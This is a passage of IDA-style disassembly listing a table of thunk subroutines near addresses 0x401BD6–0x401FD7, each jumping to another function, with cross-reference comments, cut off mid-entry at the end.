sub_401BD6 proc near ; CODE XREF: ___:00433419p
; ___:0043343Ap ...
jmp sub_431EF0
sub_401BD6 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401BDB proc near ; CODE XREF: ___:00427092p
jmp sub_427C90
sub_401BDB endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401BE0 proc near ; CODE XREF: sub_41B4D0+3p
jmp sub_41B500
sub_401BE0 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401BE5 proc near ; CODE XREF: sub_429510+3p
jmp sub_429540
sub_401BE5 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401BEA proc near ; CODE XREF: sub_422B40+924p
; ___:0042416Ap
jmp sub_426BD0
sub_401BEA endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401BEF proc near ; CODE XREF: sub_42E5B0+18Dp
; sub_42E5B0+1CDp ...
jmp sub_42F2C0
sub_401BEF endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_401BF4 proc near ; CODE XREF: ___:0041433Cp
jmp sub_414430
sub_401BF4 endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_401BF9 proc near
jmp sub_40C440
sub_401BF9 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401BFE proc near ; CODE XREF: sub_425100+8Bp
jmp sub_424920
sub_401BFE endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401C03 proc near ; CODE XREF: ___:0040B1FEp
; sub_40B250+34p ...
jmp sub_40BEB0
sub_401C03 endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_401C08 proc near ; CODE XREF: sub_40B190+5Cp
jmp sub_40BD50
sub_401C08 endp
; ---------------------------------------------------------------------------
jmp loc_433AB0
; ---------------------------------------------------------------------------
jmp loc_432410
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401C17 proc near ; CODE XREF: sub_431DC0+20p
; sub_431EF0+20p ...
jmp sub_431980
sub_401C17 endp
; ---------------------------------------------------------------------------
jmp loc_430020
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_401C21 proc near
jmp sub_435AA0
sub_401C21 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401C26 proc near ; CODE XREF: sub_4138B0+84p
; sub_434D10+3Cp ...
jmp sub_434C30
sub_401C26 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401C2B proc near ; CODE XREF: ___:0042D7C8p
jmp sub_42C350
sub_401C2B endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401C30 proc near ; CODE XREF: sub_42BB00+446p
jmp sub_42B8E0
sub_401C30 endp
; ---------------------------------------------------------------------------
jmp loc_41B720
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401C3A proc near ; CODE XREF: ___:00432546p
; sub_4344C0+23p
jmp sub_432DB0
sub_401C3A endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401C3F proc near ; DATA XREF: ___:off_43F12Co
jmp sub_4292E0
sub_401C3F endp
; ---------------------------------------------------------------------------
jmp loc_41FD80
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401C49 proc near ; CODE XREF: sub_41B0E0+8p
; ___:0041B49Dp ...
jmp sub_41A110
sub_401C49 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401C4E proc near ; CODE XREF: sub_42B3F0+3p
jmp sub_42B420
sub_401C4E endp
; ---------------------------------------------------------------------------
jmp loc_41AE80
; ---------------------------------------------------------------------------
jmp loc_416A90
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_401C5D proc near ; CODE XREF: sub_40BE70+1Fp
jmp sub_40BFA0
sub_401C5D endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401C62 proc near ; CODE XREF: sub_415B00+9p
; sub_415C20+18p
jmp sub_4166D0
sub_401C62 endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_401C67 proc near ; CODE XREF: sub_418D50+4p
jmp sub_419070
sub_401C67 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401C6C proc near ; CODE XREF: sub_4073C0+11p
; ___:004073E7p ...
jmp sub_407570
sub_401C6C endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401C71 proc near ; CODE XREF: sub_404CC0+111p
; sub_40D660+42p ...
jmp sub_40A2D0
sub_401C71 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401C76 proc near ; CODE XREF: ___:0041326Ap
; sub_4132F0+3Cp ...
jmp sub_4158D0
sub_401C76 endp
; ---------------------------------------------------------------------------
jmp loc_42FCB0
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401C80 proc near ; CODE XREF: sub_4269A0+69p
jmp sub_426B10
sub_401C80 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401C85 proc near ; CODE XREF: sub_40B600+2Fp
; sub_40B600+6Ep ...
jmp sub_40BE40
sub_401C85 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401C8A proc near ; CODE XREF: ___:00430078p
; ___:0043008Dp ...
jmp sub_433FB0
sub_401C8A endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_401C8F proc near ; CODE XREF: sub_415450+11p
; sub_415ED0+1Fp
jmp sub_4160C0
sub_401C8F endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_401C94 proc near ; DATA XREF: ___:0043F0D4o
jmp sub_41D930
sub_401C94 endp
; ---------------------------------------------------------------------------
jmp loc_419A10
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401C9E proc near ; CODE XREF: sub_4073C0+9p
; sub_418E80+18p
jmp sub_407610
sub_401C9E endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_401CA3 proc near ; CODE XREF: sub_4132C0+3p
; ___:00416C3Bp ...
jmp sub_4132F0
sub_401CA3 endp
; ---------------------------------------------------------------------------
jmp loc_40B8F0
; ---------------------------------------------------------------------------
loc_401CAD: ; DATA XREF: ___:off_43F05Co
jmp loc_416D90
; [00000005 BYTES: COLLAPSED FUNCTION j_nullsub_4. PRESS KEYPAD "+" TO EXPAND]
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401CB7 proc near ; CODE XREF: ___:00416F6Ap
jmp sub_4182B0
sub_401CB7 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401CBC proc near ; CODE XREF: sub_415BA0+Cp
; sub_415BA0+43p
jmp sub_4166A0
sub_401CBC endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_401CC1 proc near ; CODE XREF: sub_4096E0+45p
jmp sub_4099C0
sub_401CC1 endp
; ---------------------------------------------------------------------------
jmp loc_434430
; [00000005 BYTES: COLLAPSED FUNCTION j_nullsub_1. PRESS KEYPAD "+" TO EXPAND]
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401CD0 proc near ; CODE XREF: sub_410030+3A4p
jmp sub_40A0E0
sub_401CD0 endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_401CD5 proc near ; CODE XREF: sub_4077E0+6BAp
; ___:00407F41p ...
jmp sub_407740
sub_401CD5 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401CDA proc near ; CODE XREF: sub_415500+14p
; sub_415540+9p ...
jmp sub_416190
sub_401CDA endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401CDF proc near ; CODE XREF: sub_4096E0+144p
jmp sub_409A50
sub_401CDF endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401CE4 proc near ; CODE XREF: sub_404690+1C2p
; sub_404B60+36p ...
jmp sub_4134A0
sub_401CE4 endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_401CE9 proc near ; CODE XREF: sub_4151C0+34p
; sub_415C20+67p
jmp sub_415DC0
sub_401CE9 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401CEE proc near
jmp sub_409B80
sub_401CEE endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401CF3 proc near ; DATA XREF: ___:0043F06Co
jmp sub_41FD00
sub_401CF3 endp
; ---------------------------------------------------------------------------
jmp loc_42F3A0
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401CFD proc near ; CODE XREF: sub_40BF70+5p
jmp sub_40C1D0
sub_401CFD endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_401D02 proc near ; CODE XREF: ___:0043242Fp
jmp sub_430520
sub_401D02 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401D07 proc near ; CODE XREF: sub_421E50+11p
; ___:00421E77p ...
jmp sub_422400
sub_401D07 endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_401D0C proc near ; DATA XREF: ___:0043F048o
jmp sub_4132C0
sub_401D0C endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_401D11 proc near ; CODE XREF: sub_415890+1Fp
jmp sub_416220
sub_401D11 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401D16 proc near ; CODE XREF: sub_40F6D0+1ACp
; sub_40F6D0+1EDp ...
jmp sub_40F660
sub_401D16 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401D1B proc near ; CODE XREF: sub_413E70+15Cp
jmp sub_414160
sub_401D1B endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401D20 proc near ; CODE XREF: sub_404C70+23p
; sub_410030+13C2p
jmp sub_412BF0
sub_401D20 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401D25 proc near ; CODE XREF: ___:00416F2Fp
jmp sub_418150
sub_401D25 endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_401D2A proc near ; CODE XREF: sub_407590+7p
; sub_40C2E0+7p ...
jmp sub_407630
sub_401D2A endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401D2F proc near ; CODE XREF: sub_40A8F0+1Ap
; sub_40A9A0+4p ...
jmp sub_40A960
sub_401D2F endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401D34 proc near ; CODE XREF: sub_404690+289p
; sub_404690+2ADp ...
jmp sub_40A180
sub_401D34 endp
; ---------------------------------------------------------------------------
jmp loc_4305A0
; ---------------------------------------------------------------------------
loc_401D3E: ; DATA XREF: ___:0043F154o
jmp loc_4295B0
; ---------------------------------------------------------------------------
jmp loc_42F970
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_401D48 proc near
jmp sub_404010
sub_401D48 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401D4D proc near ; CODE XREF: sub_4120B0+123p
; sub_4120B0+1E2p
jmp sub_412780
sub_401D4D endp
; ---------------------------------------------------------------------------
jmp loc_41B570
; ---------------------------------------------------------------------------
jmp loc_40B870
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401D5C proc near ; CODE XREF: sub_421D80+5p
jmp sub_4222E0
sub_401D5C endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401D61 proc near ; CODE XREF: sub_415F70+5Fp
jmp sub_416790
sub_401D61 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401D66 proc near ; CODE XREF: sub_41D930+2C7p
jmp sub_42FD30
sub_401D66 endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_401D6B proc near ; CODE XREF: sub_418CA0+7p
jmp sub_418F40
sub_401D6B endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401D70 proc near ; CODE XREF: sub_413740+5Dp
; sub_413740+9Bp ...
jmp sub_415420
sub_401D70 endp
; ---------------------------------------------------------------------------
jmp loc_437390
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401D7A proc near ; CODE XREF: sub_415820+14p
; sub_415860+9p ...
jmp sub_4164E0
sub_401D7A endp
; ---------------------------------------------------------------------------
jmp loc_40B960
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_401D84 proc near ; CODE XREF: sub_4341C0+98p
jmp sub_431950
sub_401D84 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401D89 proc near ; CODE XREF: sub_421C60+14p
; sub_421CA0+9p ...
jmp sub_4222B0
sub_401D89 endp
; ---------------------------------------------------------------------------
jmp loc_42DAD0
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_401D93 proc near
jmp sub_41C490
sub_401D93 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401D98 proc near ; CODE XREF: sub_418AB0+14p
; sub_418AF0+9p ...
jmp sub_418E20
sub_401D98 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401D9D proc near ; CODE XREF: sub_413740+53p
; sub_413740+91p ...
jmp sub_415270
sub_401D9D endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401DA2 proc near ; CODE XREF: sub_422B40+56p
jmp sub_426B90
sub_401DA2 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401DA7 proc near ; CODE XREF: sub_422B40+18Ap
jmp sub_426A90
sub_401DA7 endp
; [00000005 BYTES: COLLAPSED FUNCTION j_nullsub_6. PRESS KEYPAD "+" TO EXPAND]
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401DB1 proc near ; CODE XREF: sub_429330+81p
jmp sub_428DC0
sub_401DB1 endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_401DB6 proc near ; CODE XREF: sub_415770+11p
; sub_416220+1Fp
jmp sub_416410
sub_401DB6 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401DBB proc near ; CODE XREF: sub_415230+14p
; sub_415270+9p ...
jmp sub_415E40
sub_401DBB endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401DC0 proc near ; CODE XREF: ___:004147E3p
jmp sub_4145A0
sub_401DC0 endp
; [00000005 BYTES: COLLAPSED FUNCTION j_nullsub_3. PRESS KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
jmp loc_425DC0
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_401DCF proc near ; CODE XREF: sub_428260+90p
jmp sub_428810
sub_401DCF endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401DD4 proc near ; CODE XREF: ___:0042C468p
jmp sub_42C1B0
sub_401DD4 endp
; ---------------------------------------------------------------------------
jmp loc_4141F0
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401DDE proc near ; CODE XREF: sub_434AD0+74p
jmp sub_432AE0
sub_401DDE endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401DE3 proc near ; CODE XREF: sub_41FB90+1Dp
jmp sub_40B150
sub_401DE3 endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_401DE8 proc near ; CODE XREF: sub_40AAD0+45p
jmp sub_40AD50
sub_401DE8 endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_401DED proc near ; CODE XREF: ___:0043062Dp
; ___:00430752p ...
jmp sub_432C80
sub_401DED endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401DF2 proc near ; CODE XREF: ___:00426F24p
jmp sub_4281A0
sub_401DF2 endp
; ---------------------------------------------------------------------------
jmp loc_432D50
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401DFC proc near ; CODE XREF: sub_410030+AE7p
; sub_410030+E5Dp
jmp sub_41EF70
sub_401DFC endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401E01 proc near ; CODE XREF: sub_40AD80+Ap
jmp sub_40AE70
sub_401E01 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401E06 proc near ; CODE XREF: ___:00416B3Bp
; ___:0043B27Aj ...
jmp sub_417BE0
sub_401E06 endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_401E0B proc near ; CODE XREF: sub_421F80+4p
jmp sub_422420
sub_401E0B endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401E10 proc near ; CODE XREF: sub_40C4E0+271p
; sub_425100+50p ...
jmp sub_423760
sub_401E10 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401E15 proc near ; CODE XREF: ___:0041627Ap
jmp sub_416860
sub_401E15 endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_401E1A proc near ; CODE XREF: sub_415DC0+7p
jmp sub_4165C0
sub_401E1A endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_401E1F proc near ; CODE XREF: sub_41D930+19Bp
jmp sub_42DA80
sub_401E1F endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401E24 proc near ; CODE XREF: sub_404CC0+835p
; sub_404CC0+B62p ...
jmp sub_4129D0
sub_401E24 endp
; ---------------------------------------------------------------------------
jmp sub_4132C0
; ---------------------------------------------------------------------------
jmp sub_429510
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_401E33 proc near ; CODE XREF: sub_415490+34p
; sub_415F70+67p
jmp sub_416110
sub_401E33 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401E38 proc near ; CODE XREF: sub_413740+31p
; sub_4145A0+2Dp
jmp sub_4153B0
sub_401E38 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401E3D proc near ; CODE XREF: sub_40CC90+1F1p
; ___:00423FBFp ...
jmp sub_426930
sub_401E3D endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401E42 proc near ; CODE XREF: sub_4159F0+3p
jmp sub_4164C0
sub_401E42 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401E47 proc near ; CODE XREF: sub_404690+97p
; sub_404690+107p ...
jmp sub_40A4A0
sub_401E47 endp
; [00000005 BYTES: COLLAPSED FUNCTION j_nullsub_5. PRESS KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
jmp loc_426020
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401E56 proc near ; CODE XREF: ___:00423DFAp
jmp sub_423950
sub_401E56 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401E5B proc near ; CODE XREF: ___:00421E0Ap
jmp sub_422310
sub_401E5B endp
; ---------------------------------------------------------------------------
jmp loc_416E30
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_401E65 proc near
jmp sub_4368D0
sub_401E65 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401E6A proc near ; DATA XREF: ___:off_43F098o
jmp sub_4369E0
sub_401E6A endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401E6F proc near ; CODE XREF: ___:004337FFp
jmp sub_4310A0
sub_401E6F endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401E74 proc near ; CODE XREF: sub_4166A0+5p
jmp sub_4168F0
sub_401E74 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401E79 proc near ; CODE XREF: sub_404CC0+28Dp
; sub_41D930+6A3p
jmp sub_40DC20
sub_401E79 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401E7E proc near ; CODE XREF: sub_422510+5Fp
jmp sub_422700
sub_401E7E endp
; ---------------------------------------------------------------------------
jmp loc_419F90
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401E88 proc near ; CODE XREF: sub_40F6D0+22p
; sub_411930+1Dp ...
jmp sub_40AEA0
sub_401E88 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401E8D proc near ; CODE XREF: sub_40AAD0+112p
; sub_40AAD0+153p
jmp sub_40ADB0
sub_401E8D endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401E92 proc near ; DATA XREF: ___:off_43F0C0o
jmp sub_41B110
sub_401E92 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401E97 proc near ; CODE XREF: sub_4156D0+3p
jmp sub_416170
sub_401E97 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401E9C proc near ; CODE XREF: sub_427C50+1Ap
jmp sub_427B10
sub_401E9C endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401EA1 proc near ; CODE XREF: ___:00416C0Bp
; ___:0043B1C4j ...
jmp sub_4176E0
sub_401EA1 endp
; ---------------------------------------------------------------------------
jmp loc_4331B0
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401EAB proc near ; CODE XREF: sub_4201F0+3Ap
jmp sub_420400
sub_401EAB endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_401EB0 proc near ; DATA XREF: ___:0043F114o
jmp sub_428260
sub_401EB0 endp
; ---------------------------------------------------------------------------
jmp loc_433AF0
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_401EBA proc near ; CODE XREF: sub_416410+4p
jmp sub_416810
sub_401EBA endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401EBF proc near ; CODE XREF: sub_415920+5Bp
; sub_4162C0+11p ...
jmp sub_416510
sub_401EBF endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401EC4 proc near ; CODE XREF: sub_415740+5p
jmp sub_4161F0
sub_401EC4 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401EC9 proc near ; CODE XREF: sub_424920+151p
jmp sub_4248E0
sub_401EC9 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401ECE proc near ; CODE XREF: ___:00416BABp
; ___:0043B218j ...
jmp sub_417930
sub_401ECE endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401ED3 proc near ; CODE XREF: sub_4153B0+3p
jmp sub_415E20
sub_401ED3 endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_401ED8 proc near ; CODE XREF: sub_415100+11p
; sub_415140+13p ...
jmp sub_415D70
sub_401ED8 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401EDD proc near ; CODE XREF: sub_421A60+14p
; sub_421AA0+9p ...
jmp sub_422050
sub_401EDD endp
; ---------------------------------------------------------------------------
jmp loc_418960
; ---------------------------------------------------------------------------
jmp loc_41C350
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401EEC proc near ; CODE XREF: sub_418F90+18p
; sub_421DB0+9p
jmp sub_419150
sub_401EEC endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401EF1 proc near ; CODE XREF: sub_422640+Ap
jmp sub_4227E0
sub_401EF1 endp
; ---------------------------------------------------------------------------
jmp loc_41BD50
; ---------------------------------------------------------------------------
jmp loc_433BA0
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401F00 proc near ; CODE XREF: ___:00416B0Bp
; ___:0043B2A4j ...
jmp sub_417C20
sub_401F00 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401F05 proc near ; CODE XREF: sub_40A8F0+13p
jmp loc_40AA30
sub_401F05 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401F0A proc near ; CODE XREF: sub_41B160:loc_41B1ACp
; sub_41BA50+54p ...
jmp sub_4199A0
sub_401F0A endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_401F0F proc near ; CODE XREF: ___:00414395p
jmp sub_415570
sub_401F0F endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_401F14 proc near ; CODE XREF: sub_4157B0+34p
; sub_4162C0+67p
jmp sub_416460
sub_401F14 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401F19 proc near ; CODE XREF: sub_4153D0+3p
; ___:00415B4Fp ...
jmp sub_415E00
sub_401F19 endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_401F1E proc near
jmp sub_412CE0
sub_401F1E endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_401F23 proc near ; CODE XREF: sub_4131F0+4Dp
jmp sub_415450
sub_401F23 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401F28 proc near ; CODE XREF: sub_407140+5Cp
; sub_418F60+3p
jmp sub_407360
sub_401F28 endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_401F2D proc near ; CODE XREF: ___:00419203p
jmp sub_419270
sub_401F2D endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401F32 proc near ; CODE XREF: ___:0040BFFAp
jmp sub_40C330
sub_401F32 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401F37 proc near ; CODE XREF: ___:0042C44Fp
jmp sub_42C0A0
sub_401F37 endp
; ---------------------------------------------------------------------------
loc_401F3C: ; DATA XREF: ___:off_43F08Co
jmp loc_435B90
; ---------------------------------------------------------------------------
loc_401F41: ; DATA XREF: ___:00424194o
jmp loc_423D10
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401F46 proc near ; CODE XREF: ___:00416B6Bp
; ___:0043B250j ...
jmp sub_417B40
sub_401F46 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401F4B proc near ; CODE XREF: sub_413C40+99p
jmp sub_413E10
sub_401F4B endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401F50 proc near ; CODE XREF: sub_40B470+3Dp
; ___:0040BC0Dp ...
jmp sub_40B7E0
sub_401F50 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401F55 proc near ; CODE XREF: ___:loc_423DA7p
jmp sub_423820
sub_401F55 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401F5A proc near ; CODE XREF: sub_404CC0+A38p
jmp sub_4068E0
sub_401F5A endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401F5F proc near ; DATA XREF: ___:off_43F1A0o
jmp sub_42C640
sub_401F5F endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_401F64 proc near ; CODE XREF: sub_413A80+72p
jmp sub_413740
sub_401F64 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401F69 proc near ; CODE XREF: sub_418430+5Fp
; sub_418A40+1Ap ...
jmp sub_418AB0
sub_401F69 endp
; ---------------------------------------------------------------------------
jmp loc_430290
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401F73 proc near ; CODE XREF: sub_42F6F0+B5p
jmp sub_42E5B0
sub_401F73 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401F78 proc near ; CODE XREF: sub_40B600+4Bp
; sub_40B600:loc_40B68Bp ...
jmp sub_40BF20
sub_401F78 endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_401F7D proc near
jmp sub_41E500
sub_401F7D endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401F82 proc near ; CODE XREF: sub_40A510+142p
jmp sub_40A8F0
sub_401F82 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401F87 proc near ; CODE XREF: sub_404690+35Dp
; sub_404690+39Ep
jmp sub_404B60
sub_401F87 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401F8C proc near ; CODE XREF: sub_415ED0+9p
; sub_415F70+18p
jmp sub_4167D0
sub_401F8C endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401F91 proc near ; CODE XREF: sub_432E20+1Bp
jmp sub_432ED0
sub_401F91 endp
; ---------------------------------------------------------------------------
jmp loc_42C2C0
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401F9B proc near ; CODE XREF: sub_427740+1Dp
; sub_427C90+1Dp ...
jmp sub_4277B0
sub_401F9B endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401FA0 proc near ; CODE XREF: sub_4290B0+1Dp
; sub_429450+1Fp ...
jmp sub_429120
sub_401FA0 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401FA5 proc near ; CODE XREF: ___:0042B063p
jmp sub_42B090
sub_401FA5 endp
; ---------------------------------------------------------------------------
jmp loc_406C20
; ---------------------------------------------------------------------------
jmp loc_40D540
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401FB4 proc near ; CODE XREF: sub_4096E0+112p
; sub_4096E0+153p
jmp sub_409A20
sub_401FB4 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401FB9 proc near ; CODE XREF: sub_422700+5p
jmp sub_422870
sub_401FB9 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401FBE proc near ; CODE XREF: sub_407390+5p
jmp sub_407540
sub_401FBE endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401FC3 proc near ; CODE XREF: sub_413740+6Fp
; sub_413740+DBp ...
jmp sub_4153D0
sub_401FC3 endp
; ---------------------------------------------------------------------------
jmp loc_42CB20
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_401FCD proc near ; CODE XREF: sub_4152E0+6Ap
; sub_415CE0+32p
jmp sub_415C20
sub_401FCD endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401FD2 proc near
jmp sub_40F100
sub_401FD2 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401FD7 proc near ; CODE XREF: sub_412BF0+3p
jmp sub_412C20
